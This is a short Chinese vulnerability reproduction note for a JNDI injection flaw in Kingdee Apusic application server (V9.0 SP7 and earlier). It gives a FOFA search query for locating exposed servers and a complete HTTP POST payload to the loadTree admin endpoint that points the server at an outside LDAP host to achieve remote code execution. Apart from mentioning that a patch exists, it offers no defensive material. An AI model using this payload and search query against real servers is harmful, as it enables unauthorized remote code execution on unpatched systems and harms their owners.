J17-1金蝶-Apusic应用服务器-JNDI注入

漏洞描述：

由于金蝶Apusic应用服务器权限验证不当，导致攻击者可以向loadTree接口执行JNDI注入，造成远程代码执行漏洞。利用该漏洞需低版本JDK。（漏洞比较旧，8月份补丁已出，金蝶EAS也存在类似漏洞，只是路径不一样）

影响版本：

金蝶Apusic应用服务器 <= V9.0 SP7
不受影响版本
金蝶Apusic应用服务器 > V9.0 SP7

网站图片：

网络测绘：

fofa语法：

FOFA：app="Apusic应用服务器"

漏洞复现：

payload：

```
POST /admin//protect/jndi/loadTree HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded

jndiName=ldap://x.x.x.x:x/
```

效果图: